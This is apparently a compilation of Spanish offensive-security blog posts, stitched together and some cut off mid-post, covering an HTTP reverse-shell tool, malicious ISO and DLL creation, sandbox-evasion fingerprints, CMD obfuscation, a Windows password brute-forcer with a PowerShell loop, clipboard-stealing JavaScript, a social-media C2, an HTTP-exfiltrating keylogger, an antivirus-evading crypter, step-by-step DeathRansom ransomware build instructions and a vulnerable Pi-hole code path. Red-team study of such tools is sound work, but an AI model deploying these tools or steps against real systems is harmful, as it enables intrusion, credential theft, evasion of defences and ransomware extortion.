HTTP-revshell: controla el equipo de la víctima a través de un canal encubierto

Hola a tod@s, mi nombre es Héctor de Armas, 3v4Si0N para los juankers y voy a presentarles una herramienta que desarrollé durante el confinamiento. Esta herramienta se hace llamar HTTP-revshell y consiste en la utilización de un canal encubierto (covert channel) para obtener control sobre el equipo víctima a través de peticiones web y de esta forma evadir soluciones como un IDS, IPS y AV.
Bueno, ¿y qué diablos es un covert channel?

Pues básicamente, es la manipulación de un protocolo de comunicación (en este caso HTTP y HTTPS) para enviar información de una manera fuera de la especificación del protocolo.

HTTP-revshell se ha desarrollado para ser utilizada en ejercicios de RedTeam y/o pentest para poner a prueba las capacidades de detección de las soluciones de seguridad que una empresa puede tener implementadas (siempre para hacer el bien y nunca para el mal, sed buenos).

Utilización de HTTP-revshell

Comenzamos con la instalación de la herramienta. Lo primero, descargar el repositorio que se encuentra en la siguiente URL:

    • https://github.com/3v4Si0N/HTTP-revshell

Para realizar una pequeña muestra de cómo funciona vamos a utilizar la versión de la rama dev ya que, actualmente como se encuentra en desarrollo, está más actualizada que la versión de la rama master. Para ello, utilizamos el siguiente comando:

git clone -b dev https://github.com/3v4Si0N/HTTP-revshell.git


Cómo montar un ISO malicioso correctamente

El uso de archivos ISO maliciosos se lleva usando desde hace tiempo en muchas campañas de malware: Phobos, ZLoader, LokiBot, Nanocore, Grandoreiro... pero hasta ahora no había visto un artículo tan claro como el de Mateusz, fundador de vx-underground, dónde muestra cómo montar correctamente un archivo ISO para ser utilizado con fines maliciosos. Veamos pues cómo montar una ISO sin establecer una ruta visible para el usuario y/o asignar una letra de dispositivo.

Primero, ¿por qué no usar un archivo VHD/VHDX (disco duro virtual) en lugar de un ISO (imagen de CD o DVD)? Ambos tienen que se virtualizados y montados por Windows y ambos utilizan llamadas a API similares (Virtual Storage API), pero muchos antivirus parecen ser incapaces de montar mediante programación un archivo VHD/VHDX, aunque parece que si son capaces de analizar imágenes ISO en cierta medida. ¿Entonces por que los desarrolladores de malware no usan mejor ficheros VHD? Pues básicamente porque el tamaño mínimo de un archivo VHD que se puede asignar en una Tabla de Partición GUID (GPT) es de 5MB.

Centrémonos entonces en los ISOs, mucho más pequeños y versátiles. Como decíamos, coinciden en el uso de ciertas APIs, y concretamente con AttachVirtualDisk podremos montar y leerlo también. Podremos llamar a OpenVirtualDisk​ como se define a continuación:
DWORD ​OpenVirtualDisk​(
  PVIRTUAL_STORAGE_TYPE         VirtualStorageType,  
  PCWSTR                        Path,  
  VIRTUAL_DISK_ACCESS_MASK      VirtualDiskAccessMask,
  OPEN_VIRTUAL_DISK_FLAG        Flags,
  POPEN_VIRTUAL_DISK_PARAMETERS Parameters,
  PHANDLE                       Handle
);

El primer parámetro, VirtualStorageType, debe ser válido como parte de una estructura VIRTUAL_STORAGE_TYPE que se define como:
typedef​​struct​ _​VIRTUAL_STORAGE_TYPE​ {
  ULONG DeviceId;
  GUID  VendorId;
} VIRTUAL_STORAGE_TYPE, *PVIRTUAL_STORAGE_TYPE;

El DeviceId debe establecerse en VIRTUAL_STORAGE_TYPE_DEVICE_ISO. Además, VendorId debe establecerse en VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT.
Si hacemos esto así, todo lo demás seguirá siendo prácticamente idéntico que con un archivo VHD/VHDX.

Ultra Tesla: Crear redes distribuidas de servicios, fácil, rápido y seguro

Ultra Tesla es un proyecto de código abierto para crear redes distribuidas de servicios fácil, rápido y seguro, usando el poder de computo de múltiples ordenadores. El proyecto permite unificar los distintos servidores en una única interfaz que es proporcionada para el mismo usuario creando una sensación de transparencia.


Mi primer "Hello World":

Ultra Tesla utiliza servicios, que son básicamente mini-programas que se adhieren a la ejecución del servidor, siguiendo una sintaxis en HTTP como la siguiente: ://///<...>

Donde es 'http' o 'https' según la configuración del servidor; es básicamente la dirección del servidor; es el nombre del servicio, que para este ejemplo será "hello_world" y los demás que son y <...> son básicamente otros mini-programas que se tendrán que usar anteponiendo el nombre del servicio anterior, por ejemplo, ////<...> y así según lo que el administrador haya propuesto.

Código: Python
  1. class Handler:
  2.     async def get(self):
  3.        await self.write('Hello World!')

Un ejemplo real con el servicio nombrado como complements/hello_world.py en una URL se vería como lo siguiente (suponiendo que la dirección del servidor sea localhost): http://localhost:17000/hello_world

Backup-ToSystem: abusando de los permisos de "Backup operators" y el servicio VDS

Buenas, ¿cómo andas cabeshas de mal? Mi nombre es Luis Vacas o CyberVaca como me conocen algunos… y en este post hablaremos sobre los permisos que se otorgan al grupo de “Backup Operators”


SeBackupPrivilege

➔ "Permite al usuario eludir los permisos de archivos y directorios para hacer una copia de seguridad del sistema. Tiene sentido que exista este privilegio para que se pueda realizar backups del sistema. El privilegio se selecciona sólo cuando la aplicación intenta acceder a través de la interfaz de la aplicación de copia de seguridad NTFS. De lo contrario, se aplican los permisos normales de archivos y directorios"

➔ Con este privilegio se puede hacer fácilmente una copia de seguridad del registro de Windows y utilizar herramientas de terceros para extraer los hashes locales de NTLM. Cómo por ejemplo secretsdump.py de impacket.

Hasta aquí todo correcto, pero un momento, si este privilegio permite leer todos los archivos del sistema, quizá podamos aprovecharnos de ello. Así que intentaremos cambiar las ACL de algún path en el que no deberíamos poder escribir, pero espera ¿Qué diablos es un ACL?

ACL

➔ Una lista de control de acceso (ACL), con respecto a un sistema, es una lista de permisos adjunta a un objeto. Una ACL especifica qué usuarios o procesos del sistema tienen acceso a los objetos, así como qué operaciones están permitidas en determinados objetos. Cada entrada de una ACL especifica un usuario o grupo y una operación. Por ejemplo, si un objeto de archivo tiene una ACL que contiene (Administrador: leer, escribir; Pepe: leer), esto le daría a Administrador permiso para leer y escribir el archivo y a Pepe sólo para leerlo.

Bueno, ya que tenemos claro los conceptos vamos a ver si podemos abusar de él.

SMBleed (CVE-2020-1206): nueva vulnerabilidad en SMB 3.1.1 (y que puede combinarse con SMBGhost para RCE)

Seguro que ya sabéis que hace poco se publicó código que permite la ejecución remota de código o RCE usando SMBGhost (CVE-2020-0796), una vulnerabilidad en el mecanismo de compresión de SMBv3.1.1 PERO que fue parcheada hace tres meses por Microsoft. Hasta ahí todo bien... parche publicado rápidamente por el fabricante y posterior aparición de exploits: desde el que permitía un crash del sistema, pasando por elevación de privilegios hasta este último RCE que comento, algo que no impedirá sin embargo que muchos incautos infecten sus máquinas des-actualizadas con malware ya más "weaponizable".

No obstante, durante la investigación para explotar SMBGhost la gente de ZecOps descubrió otra vulnerabilidad en la funcionalidad de descompresión que permite leer memoria del kernel no inicializada y, lo que es peor, combinada con la ya parcheada SMBGhost permitiría de nuevo ejecución remota de comandos: señores y señoras, con ustedes SMBleed (CVE-2020-1206).

Lectura remota de la memoria del kernel

Si recordáis, SMBGhost se aprovechaba de la falta de comprobaciones contra integer overflows en Srv2DecompressData, la función que recibe el mensaje comprimido que envía el cliente, asigna la cantidad de memoria requerida en el campo OriginalCompressedSegmentSize y descomprime los datos. Concretamente si asignábamos un valor muy grande a OriginalCompressedSegmentSize podíamos desbordarlo y escribir fuera de los límites (o "out of bounds" que en español queda raro). Microsoft lo solucionó pero todavía se dejó un error grave: si seteamos un valor pequeño (x + 0x100) a OriginalCompressedSegmentSize los datos no inicializados del kernel serán tratados como parte del mensaje, básicamente porque en la función FinalCompressedSize se actualiza para mantener el valor de CompressedBufferSize, que es el tamaño del búffer.


La PoC de ZecOps requiere credenciales y un recurso compartido con permisos de escritura, pero el bug aplica a cada mensaje, por lo que puede ser explotado sin autenticación. También hay que tener en cuenta que la memoria filtrada proviene de asignaciones anteriores en el pool NonPagedPoolNx, y, dado que controlamos el tamaño de la asignación o allocation, podríamos controlar los datos que se están filtrando, hasta cierto punto claro.

https://github.com/ZecOps/CVE-2020-1206-POC

Fingerprints para detectar y evadir sandboxes conocidos

Hoy en día detonar malware en una sandbox es uno de los métodos más usados a la hora de analizar malware, sobretodo cuando tenemos un montón de casos e incidentes cada día y poco tiempo para realizar un reversing/análisis estático en profundidad. Desde un simple triage hasta un análisis más completo del comportamiento, incluso extracciones automáticas de familias de malware conocido (CAPE *guiño* *guiño*): el análisis dinámico automatizado es muy, muy importante. Por eso los rojirrins no dejan de implementar medidas para evadir estos sandboxes, desde la detección de la ejecución en entornos virtuales o medidas de debugging o cualquier medida que pueda dar una pista al artefacto de turno para detener su actividad en el caso de que detecte que está siendo "vigilado".

Precisamente leía recientemente en el blog de Hexacorn una serie de características comunes de algunos sandboxes que pueden ser implementadas en cualquier malware para incrementar sus medidas de bypass, un ejemplo claro de que los azulones deben implementar entornos totalmente aleatorizados si no quieren que sus sistemas de análisis se den de bruces con malware cada vez más sofisticados, la eterna lucha del bien y del mal, el ying y el yang...

JujuBox
  • Usuario: enmascarado en los informes como <USER>, pero SID no lo está: S-1-5-21-364843204-231886559-199882026-1001
  • Versión del sistema operativo: sin licencia y detectable comprobando si es software genuino mediante el API: SLIsGenuineLocal.
  • Desktop incluye Acrobat Reader, Firefox, Google Chrome, Open Office 4.1.6, Steam, contabilidad, eula, mydoc, mypresentation, OpenOffice, party y stats; las extensiones de archivo no se muestran, pero son fáciles de adivinar
  • El filename es un <SHA256 hash> .exe
  • La resolución de la pantalla parece ser baja: ¿800x 600?
  • Solo 4 iconos en la barra de tareas

Técnicas de ofuscación de comandos en la consola de Windows (CMD)

En una APT ejecutar comandos en la consola de windows o CMD es sinónimo de ofuscación. Al hilo de ésto, recogemos varias técnicas para ofuscar comandos que pueden evadir las detecciones más simplistas y que aún en día se utilizan y suelen ser muy efectivas para conseguir evadir muchos sistemas de detección. Hagamos un repaso a las mismas:

Empezamos con lo más fácil o tonto, en CMD no se distingue entre mayúsculas y minúsculas, ping = PINg = PING:


Ahora pasamos a los caracteres especiales comúnmente utilizados para ofuscar comandos:

1. El carácter "^" es el carácter de escape más común en la consola de comandos ya que no afecta a la ejecución. En el entorno cmd, algunos caracteres tienen funciones especiales, como >, >> para redireccionar, | para canalizar otros comandos, &, &&, y || para conectar con más instrucciones. Todos tienen funciones específicas. Si se necesitan mostrar como caracteres, se debe escapar de éstos primero: agregue un carácter de escape ^ antes de cada carácter especial. Por ejemplo: echo ^>, echo ^|, echo ^|^|, echo ^^ y c^m^d.


2. La coma "," y el punto y coma ";" son intercambiables y pueden reemplazar los espacios permitidos en el comando. Los espacios múltiples no afectan la ejecución del comando.


3. Los paréntesis emparejados () también pueden aparecer en los parámetros del comando y no afectarán la ejecución del comando. Los paréntesis indican grupos de subcomandos integrados, que también son interpretados por el intéprete de parámetros.

Crackear la contraseña de cualquier usuario de Windows sin ningún privilegio (cuenta de invitado incluida)

¿Quieres crackear la contraseña del administrador local de Windows con la cuenta de invitado o con otro usuario sin privilegios? Pues resulta que el API LogonUserW por defecto no implementa ningún bloqueo por intentos fallidos de login... consecuencia: Jean-Pierre Lesueur (@DarkCoderSc) nos demuestra con su herramienta win-brute-logon lo fácil que sería obtener por fuerza bruta las credenciales localmente, desde Windows XP hasta la última release de Windows 10 (1909).

Tenéis la herramienta en https://github.com/DarkCoderSc/win-brute-logon que además es multihilo y funciona tanto en 32 como en 64 bits.

Para la PoC al igual que en el repo de JP crearemos un usuario local administrador y otro normal:

C:\>net user pepito password1
Se ha completado el comando correctamente.

C:\>net localgroup administradores pepito /add
Se ha completado el comando correctamente.

C:\>net user fulanito /add
Se ha completado el comando correctamente.

C:\>net user fulanito 123456
Se ha completado el comando correctamente.


Como veis hemos usado dos contraseñas bastante predecibles, ambas incluidas en el diccionario de SecList: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt.

Así que seleccionamos el usuario y el diccionario correspondiente y, si la contraseña no es lo suficientemente robusta, ocurre la magia:



Por defecto, el nombre de dominio es el valor designado por la variable de entorno %USERDOMAIN%, pero se uede especificar otro con la opción -d.

Y si por lo que sea no conoces el nombre de usuario puedes a probar con distintos usuarios con este sencillo Powershell:
$lista = Get-Content listadeusuarios.txt

Foreach ($usuario in $lista){
.\WinBruteLogon.exe -u $usuario -w 10k-most-common.txt
}

Lo sorprendente es que por defecto en Windows no implementa ningún bloqueo, así que es más que recomendable es configurarlo en secpol.msc:


Por supuesto no olvidar también deshabilitar la cuenta de invitado (si es que no la tenéis ya deshabilitada) y usar whitelisting de aplicaciones siempre que sea posible.

Clipboardme o cómo robar el contenido del portapapeles sólo con visitar una página maliciosa

Hasta no hace mucho todos lo navegadores usaban document.execCommand para todas las interacciones de las aplicaciones web con el portapapeles. Sin embargo, este método es síncrono por lo que la experiencia de usuario se veía muchas veces penalizada y por ello (y por otras razones pero por esa sobretodo) se desarrolló y empezó a usar una nueva API asíncrona Async Clipboard API.

Con esta API el texto se puede copiar silenciosa y automáticamente al portapapeles llamando a writeText(), sin solicitar permiso. Ejemplo:
<script>
navigator.clipboard.writeText('Malicious command to be copied');
</script>

Imaginaros qué tan peligroso puede ser que un usuario ejecute un código de portapapeles del tipo: windows+x, una shell reversa y ctrl+v. Y no hace falta ni presionar el enter, sólo un acceso directo...

Luego el texto se puede leer desde el portapapeles (aunque requiere permisos esta vez) llamando a readText(). Lo más sencillo:
<script>
navigator.clipboard.readText().then(clipText =>  document.write(clipText));
</script>

Como sabéis, los usuarios copian habitualmente información confidencial como contraseñas y detalles personales en el portapapeles, que luego puede leer cualquier página...

Pues bien, hoy traemos una herramienta de linux_choice llamada Clipboardme que (seguro lo habéis adivinado) crea una página HTTPS maliciosa para grabar estos "apetitosos" contenidos mediante Async Clipboard API y los envía a la máquina del atacante, en este caso mediante un túnel ngrok.

LARRYCHATTER: comunicaciones con el C&C encubiertas en redes sociales

APT29, al que se le relaciona con el gobierno ruso, es un grupo de los más avanzados y capaces que oculta su actividad comunicándose a través de canales encubiertos de redes sociales como Twitter o GitHub, así como servicios de almacenamiento en la nube, para transmitir comandos y extraer datos de redes comprometidas. Además mantiene un ciclo de desarrollo muy rápido para su malware, alterando rápidamente las herramientas para dificultar la detección, utiliza servidores comprometidos para la comunicación con el C2 e incluso monitoriza la actividad de la red para mantener el control sobre los sistemas.

En 2015, FireEye publicó un informe de HAMMERTOSS, el backdoor de este grupo que añade niveles y niveles de ofuscación y mimetiza sus comunicaciones para asemejarse el comportamiento de los usuarios legítimos y, 5 años después, el mismo inspiro al (creo) indio Upayan Saha para crear su (manteniendo las distancias) homónimo en Python3: LARRYCHATTER, una excelente PoC que demuestra la magia de los C2 sobre canales encubiertos en redes sociales, en este caso a través de Twitter y Dropbox como se muestra en el siguiente diagrama:

Como veis el operador del malware (CommandPost) va publicando en Twitter imágenes esteganográficas que luego el ordenador de la víctima con el implante lee y descifra para ejecutar los comandos pertinentes. Además ambos se mantienen sincronizados mediante el uso de THGA, que es básicamente un generador de cadenas pseudoaleatorio que hace que la predicción del handler del día siguiente sea muy difícil utilizando solo análisis estadístico. Posteriormente, utiliza Dropbox como medio para exfiltrar información.


De esta manera, nada tiene que estar hardcodeado en el lado del implante, lo que aumenta su resistencia a los takedowns de cuenta y garantiza la longevidad del implante en una máquina host.

Demo


Detecciones VT del implante



Proyecto: https://github.com/slaeryan/LARRYCHATTER

Un keylogger "didáctico" que manda las pulsaciones registradas en el equipo de la víctima mediante peticiones HTTP GET

Seguimos viendo código de herramientas para "hacer el mal" y hoy os traemos un keylogger muy sencillito de Hakan İlbiz que tiene la particularidad de enviar las pulsaciones de teclado mediante peticiones HTTP GET, de una manera algo tosca pero que nos podría servir para exfiltrar información (y sobretodo una buena manera de aprender código).


El proyecto acaba de empezar y sus características actuales son:
  • Escrito en C con llamadas al API Win32
  • Edición del registro para persistencia
  • Creación de peticiones HTTP para exfiltrar datos
  • Baja tasa de detección (7/71) en virustotal
  • Detección de pulsaciones de minúsculas
Para empezar a usarlo primero hay que modificar la IP en el archivo "connect.h" en la línea #define SERVER_IP "192.168.114.128", que es la ip a la que la herramienta intentará conectarse por HTTP para enviar las pulsaciones. Luego simplemente compilar mediante Visual Studio C++ (keylogoverhttp.sln).


Proyecto: https://github.com/pioneerhfy/keylogoverhttp

Crypter en python3

Siguiendo con Python hoy os traigo un interesante y didáctico Crypter escrito en versión 3 por el indio Pushpender. Esta herramienta nos valdrá para ofuscar (base64 x2) y cifrar (AES256) el código fuente de Python para bypassear el antivirus. Además también es capaz de detectar VM como VirtualBox, VMware o Sandboxie mediante tres métodos principales: comprobando el registro, procesos y archivos y la dirección MAC.

Probado en Kali Linux Rolling, Windows 8.1 - Pro y Windows 7 - Ultimate requiere Python 3.X y el módulo Pycryptodome:

$ pip install pycryptodome
        o       
$ python -m pip install pycryptodome

$ git clone https://github.com/Technowlogy-Pushpender/crypter.git && cd crypter

$ python3 Crypter.py deathransom.py 

    Cracking Speed on RunTime
    =========================
    With 2 GB RAM & 1 GHz Proceessor 
    --------------------------------    
    Guess Speed: 2000 Numeric Pass/ Seconds

    Password Like : 10000 is cracked in 5 seconds
    So Delay Time In Program Will be 5 seconds
    
    
[?] Enter Numeric Weak Key : 12345
[?] Enter Path of File : deathransom.py
[?] Want to BypassVM (y/n): y

[*] Making Backup ...
[+] Done !

[*] Initaiting Base64 Encryption Process ...
[+] Operation Completed Successfully!


[*] Initiating AES Encryption Process ...
[+] Process Completed Successfully!

DeathRansom: un ransomware escrito en Python con técnicas de evasión

DeathRansom del brasileño ReddyyZ es un ransomware desarrollado en python con fines educativos que implementa algunas sencillas pero interesantes técnicas de evasión. Primero, el script verifica si está en un sandbox, depurador, vm, etc., e intenta bypassearlo. Luego cifra todos los archivos que comienzan con el directorio definido en la línea 60 en deathransom.py. Después descarga el script de solicitud de rescate, deshabilita cmd, taskmanager y las herramientas de registro. Y comienza el contador para eliminar los archivos.

Técnicas bypass
  • Anti-Disassembly: Crea varias variables para intentar dificultar el desensamblado.
  • Anti-Debugger: Comprueba si un depurador está activo utilizando la función ctypes: windll.kernel32.IsDebuggerPresent()
  • Anti-Vm: Comprueba si la mac de la máquina es la misma que la mac vms estándar.
  • Anti-Sandbox:
    •  Sleep-Acceleration: Algunos sandboxes aceleran las funciones de sleep, esta función verifica si no ha ocurrido nada fuera de lo común.
    •  Sandbox en proceso: comprueba si hay un sandbox en los procesos en ejecución
    •  Display-Prompt: Muestra un mensaje, si el usuario interactúa con la ventana emergente, se ejecutará el malware.
    •  Idle-Time: realiza un sleep en un while y luego un proceed. Algunos sandboxes esperan un while y dejan de funcionar, eso intenta evitarlo.
    •  Check-Click: Si el usuario no hace clic la cantidad de veces necesaria, el malware no se ejecutará.
    •  Check-Cursor-Pos: Si el usuario no mueve el mouse un tiempo predeterminado, el malware no se ejecutará.
Instalación
  • Requisitos:
pip install -r requirements.txt
python3 -m pip install PyQt5

  • Claves: Generar las claves, subir la clave pública a pastebin, copiar el enlace en raw y cambiar el site en la línea 7 en deathransom.py python generate_key.py
python generate_key.py
  • Transformar time_script.py y main.py (ubicado en Ransom Request) a exe:
(pyinstaller en python2) pyinstaller --onefile --windowed time_script.py
(pyinstaller en python3) pyinstaller --onefile --windowed main.py
  • Subir los scripts a cualquier servicio de alojamiento de archivos y cambiar los enlaces en las líneas 28 y 31 en deathransom.py
  • Pasar deathransom.py a exe usando pyinstaller en la versión python2 y enjoy!
Edición de petición de rescate

Para editar el mensaje de petición de rescate, es necesario instalar PySide2. Abrir el archivo main.ui y editar lo que se quiera.

Demo


Proyecto: https://github.com/ReddyyZ/DeathRansom

Android Hacking 101 - Introducción

Hola, mis buenos amigos de Hackplayers, su amigo stux de nuevo por estos lares solo que esta vez no será ninguna máquina boot2root, en esta ocasión vengo aportar un pequeño post sobre algo que es muy de moda y que me gusta mucho, me refiero a lo que es el hacking de aplicaciones móviles en este caso orientado en android.

Es común encontrar aplicaciones móviles cuando estamos llevando a cabo una auditoría de seguridad o haciendo programas de recompensas por errores, así que decidí crear este pequeño post donde veremos unos conceptos básicos que debemos tener en cuenta antes de poder iniciar a reventar cosas, no comais ansias.

Las aplicaciones Android se dividen ampliamente en tres tipos en función de cómo se desarrollan:

    1. Nativas
    2. Hibridas
    3. Aplicaciones basadas en web

Nativas: Son aquellas aplicaciones desarrolladas única y exclusivamente para sistemas operativos móviles, ya sea Android o IOS. En Android se utiliza el lenguaje de programación Java o kotlin, mientras que en IOS se hace uso de Swift o Objective-C. Estos lenguajes de programación son los oficiales de los respectivos sistemas operativos.

Híbridas: Estas aplicaciones utilizan tecnologías como HTML, CSS y JavaScript, todas ellas vinculadas y procesadas a través de frameworks como Apache Córdova, Ionic, entre otras.

Web: Una aplicación web móvil, es exactamente lo que dice que es, una aplicación desarrollada con tecnologías web como JavaScript o HTML5 para proporcionar capacidades de interacción, navegación o personalización. Se ejecutan en el explorador web de un dispositivo móvil y se representan solicitando páginas web desde el servidor back-end.

Estructura fundamental de las aplicaciones Android

Cada aplicación que descargamos e instalamos desde Play Store o cualquier otra fuente tiene la extensión .apk. Estos archivos APK son archivos comprimidos, que contienen otros archivos y carpetas que discutiremos en un momento.

Imagen 1. Estructura de una aplicación Android

Creación de DLLs maliciosas para hijacking, fácil, sencillo y para toda la familia

EvilDLL v1.0 de thelinuxchoice es una herramienta bastante útil que nos facilitará la creación de DLLs maliciosas para obtener nuestra shell reversa en caso de que hayamos podido explotar un DLL hijacking. Además tendremos la opción de crear esa shell mediante un reenvío de puertos directo a nuestra máquina o mediante un túnel con ngrok.

Probado en Win7 (7601) y Windows 10 lo único que necesitaremos es el compilador Mingw-w64 (apt-get install mingw-w64) y setear el auhtoken de ngrok previo registro (./ngrok authtoken <YOUR_AUTHTOKEN>).

Después simplemente clonar el repo y ejecutar el script principal de bash:

git clone https://github.com/thelinuxchoice/evildll
cd evildll
bash evildll.sh


Custom:



(Si quieres probarlo rápido: rundll32 rest.dll,dllmain)

Listado de sandboxes de análisis de malware gratuitos y online

Desde hace tiempo si me preguntan por una sandbox para análisis de malware mi respuesta siempre es la misma: os recomiendo instalar y jugar con CAPE (ya en versión 2 con python 3), el derivado de Cuckoo que además nos extraerá los payloads y configuraciones de muchas familias de malware conocido, un proyecto genial soportado y mantenido sobretodo por Kevin y nuestro colega Andriy (la "mano inocente" de los sorteos de h-c0n xD).

Pero bueno, si por falta de tiempo para instalarlo, infraestructura o por cualquier otra razón necesitáis usar eventualmente alguno online en el blog checo Untrusted Network hay una buena recopilación de plataformas gratuitas de uso general.

Eso sí, tened en cuenta que ninguno de estos sandboxes admite envíos privados lo que significa que cualquier archivo subido puede ser accesible para otros usuarios y/u organizaciones y, por lo tanto, no sería prudente cargar nada sensible a cualquiera de las plataformas.

Current version: 1.1 (3​/2020)
Sandbox name Interactivo SO Max run time Max size Limite API Registro Notas
Amnpardaz SandBox XP SP2 Not specified Not specified Not specified ✘    email
Any.Run W7 32bit 300 seconds 16 MB
CAPE Sandbox  W7 64bit Not specified Not specified Limits for API use
Hatching Triage W7 64bit
W10 64bit
300 seconds * Currently invite-only
Hybrid Analysis W7 32bit
W7 64bit
Linux
Android (static analysis only)
360 seconds Not specified Not specified
Intezer Analyze N/A N/A Not specified 10 files per day * Analysis of binaries and applications (PE, ELF and APK)
* Not a “true” sandbox - mostly static analysis, but worth mentioning
IRIS-H Digital Forensics N/A N/A Not specified Not specified * Analysis of malicious documents (Office formats, PDFs and LNKs)
* Not a “true” sandbox - only static analysis, but worth mentioning
Joe Sandbox Cloud W7
W10 64bit
Android
Linux
500 seconds Max 100 MB 10 files per day
30 files per month

OPSWAT MetaDefender W7 64bit
W10 64bit
Not specified Not specified Limits for API use
Pikker W7 64bit
Linux
300 seconds Not specified Not specified * A free-to-use Cuckoo sandbox
SNDBOX W7 32bit 120 seconds Not specified 5 files per month

Otros + especializados:
pd. Y como curiosidad, echar un vistazo un post similiar de hace 10 años y fijaros los pocos que servicios que han permanecido con el paso del tiempo. Eso sí, ahora tenemos más y mejores alternativas que antaño... 

Slingshot C2 Matrix: una VM que incluye un arsenal de frameworks de C&C

Slingshot es una distribución de Linux basada en Ubuntu con el entorno de escritorio MATE creada por SANS para las prácticas de sus cursos de pentesting. Recientemente, uno de sus miembros (Jorge Orchilles) con otros de la empresa SCYTHE (Bryson Bort y Adam Mashinchi) han creado una versión de esta distro llamada C2 Matrix que incluye un montón de frameworks de C2 preinstalados:
De esta manera ya no tendremos que perder tiempo en la instalación de cada uno de ellos y podremos centrarnos directamente en nuestros planes de emulación de adversarios y ataques a nuestro objetivo.
Podemos descargar la OVA de vmware desde la página (necesitaremos login):

Descarga: https://www.sans.org/slingshot-vmware-linux/download
SHA256 sum: e8f3aa841a5244c0419cab7006486be6bdd7c001282833e1fbd1e9698f80069e

Más info en: https://howto.thec2matrix.com/slingshot-c2-matrix-edition

Ejecución remota de código en Pi-hole (CVE-2020-8816)

Hoy leía acerca de una vulnerabilidad de RCE en Pi-hole 4.3.2 y anteriores (CVE-2020-8816) bastante curiosa por la manera de explotarse, veamos...
La vulnerabilidad no es que sea muy crítica porque para poder ejecutar código necesitaremos primero un usuario web ya que el fallo se encuentra en la parte de la configuración de reservas DHCP:


Lo lógico ahí es poner una dirección MAC con formato 'aaaaaaaaaaaa' al que se le asignará la IP del pool que queramos. Pero veamos el código de savesettings.php:
<?php
/* Pi-hole: A black hole for Internet advertisements
*  (c) 2017 Pi-hole, LLC (https://pi-hole.net)
*  Network-wide ad blocking via your own hardware.
*
*  This file is copyright under the latest version of the EUPL.
*  Please see LICENSE file for your rights under this license. */
 
if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php")
{
    die("Direct access to this script is forbidden!");
}
 
//[...]
 
function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
}
 
 
//[...]
 
    // Read available adlists
    $adlist = readAdlists();
    // Read available DNS server list
    $DNSserverslist = readDNSserversList();
 
    $error = "";
    $success = "";
 
    if(isset($_POST["field"]))
    {
        // Handle CSRF
        check_csrf(isset($_POST["token"]) ? $_POST["token"] : "");
 
        // Process request
        switch ($_POST["field"]) {
             
//[...]
         
            case "DHCP":
 
                if(isset($_POST["addstatic"]))
                {
                    $mac = $_POST["AddMAC"];
                    $ip = $_POST["AddIP"];
                    $hostname = $_POST["AddHostname"];
 
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);
 
                    if(!validIP($ip) && strlen($ip) > 0)
                    {
                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
                    }
 
                    if(!validDomain($hostname) && strlen($hostname) > 0)
                    {
                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
                    }
 
                    if(strlen($hostname) == 0 && strlen($ip) == 0)
                    {
                        $error .= "You can not omit both the IP address and the host name!<br>";
                    }
 
                    if(strlen($hostname) == 0)
                        $hostname = "nohost";
 
                    if(strlen($ip) == 0)
                        $ip = "noip";
 
                    // Test if this lease is already included
                    readStaticLeasesFile();
                    foreach($dhcp_static_leases as $lease) {
                        if($lease["hwaddr"] === $mac)
                        {
                            $error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>";
                            break;
                        }
                        if($ip !== "noip" && $lease["IP"] === $ip)
                        {
                            $error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>";
                            break;
                        }
                        if($lease["host"] === $hostname)
                        {
                            $error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>";
                            break;
                        }
                    }
 
                    if(!strlen($error))
                    {
                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
                        $success .= "A new static address has been added";
                    }
                    break;
                }
 
                if(isset($_POST["removestatic"]))
                {
                    $mac = $_POST["removestatic"];
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);
 
                    if(!strlen($error))
                    {
                        exec("sudo pihole -a removestaticdhcp ".$mac);
                        $success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed";
                    }
                    break;
                }
 
                 
 
//[...]
 
            default:
                // Option not found
                $debug = true;
                break;
        }
    }
 
//[...]

Inyección de código en imágenes subidas y tratadas con PHP-GD

Actualmente la mayoría de las aplicaciones web que nos permiten subir imágenes recrean las mismas por seguridad. Esto hace por ejemplo inútil inyectar código PHP en los metadatos exif de la imagen ya que el servidor los borrará (muchas veces con la librería PHP-GD). Sin embargo, existen algunas formas de inyectar código PHP directamente en imágenes como se puede ver en los siguientes enlaces:

https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif
https://secgeek.net/bookfresh-vulnerability/

Aunque si le habéis echado un vistazo a esos enlaces podréis comprobar que se pueden inyectar pocos caracteres.

Al hilo de esto, tenemos una interesante herramienta de Dylan Leggio (dlegs), un ingeniero de seguridad de Brooklyn:

https://github.com/dlegs/php-jpeg-injector

Para usar esta herramienta tendremos primero que recrear una imagen jpg con php-gd y luego inyectar el payload con el script gd-jpeg.py.

$ file poc.jpg
poc.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 512x512, frames 3

Para el primer paso usamos este mismo código:
<?php
$jpg = imagecreatefromjpeg('poc.jpg');
imagejpeg($jpg, 'exploit.jpg');
?>

Mi experiencia con el OSCE: Opinión honesta, no mártir edition


